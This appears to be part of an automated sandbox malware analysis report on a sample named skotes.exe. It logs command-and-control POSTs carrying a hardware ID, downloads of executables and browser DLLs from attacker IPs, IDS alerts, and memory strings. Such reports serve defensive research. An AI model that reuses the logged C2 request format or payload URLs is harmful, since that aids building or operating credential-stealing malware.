Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDGHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="hwid"20F5399156EA20379026------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="build"doma------HDBGDHDAECBGDHJKFIDG--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGDHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="hwid"20F5399156EA20379026------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="build"doma------FCAAEBFHJJDAAKFIECGD--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:60982 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:61010 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:61015 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:61014 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:61018 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:61018 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E8BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00E8BE30

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE b.guid IN (https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.everestjs.net/static/st.v3.js@mozilla.org/addons/addon-manager-startup;1webcompat-reporter%40mozilla.org:1.5.1://www.google-analytics.com/analytics.js://connect.facebook.net//all.jshttps://smartblock.firefox.etp/facebook.svg://cdn.branch.io/branch-latest.min.jshttps://smartblock.firefox.etp/play.svg://libs.coremetrics.com/eluminate.js://www.googletagmanager.com/gtm.jswebcompat-reporter@mozilla.org.xpiFileUtils_closeAtomicFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://static.criteo.net/js/ld/publishertag.js://www.google-analytics.com/plugins/ua/ec.js://static.chartbeat.com/js/chartbeat_video.js://.imgur.io/js/vendor..bundle.js://www.google-analytics.com/gtm/js*://ssl.google-analytics.com/ga.js://pub.doubleverify.com/signals/pub.js*://s0.2mdn.net/instream/html5/ima3.js://auth.9c9media.ca/auth/main.js://imasdk.googleapis.com/js/sdkloader/ima3.js://connect.facebook.net//sdk.js://www.googletagservices.com/tag/js/gpt.js://www.rva311.com/static/js/main..chunk.js://.imgur.com/js/vendor..bundle.jsFileUtils_closeSafeFileOutputStream://static.chartbeat.com/js/chartbeat.js://track.adform.net/serving/scripts/trackpoint/://web-assets.toggl.com/app/assets/scripts/*.jspictureinpicture%40mozilla.org:1.0.0 No attachments in IDB cache. Nothing to do. equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3122697624.0000028824B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://pubads.g.doubleclick.net/gampad/xml_vmap2://ads.stickyadstv.com/auto-user-sync://.adsafeprotected.com/services/pubcolor-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color--panel-banner-item-info-icon-bgcolorresource://builtin-addons/search-detection/blocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3179092949.000002882E20B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
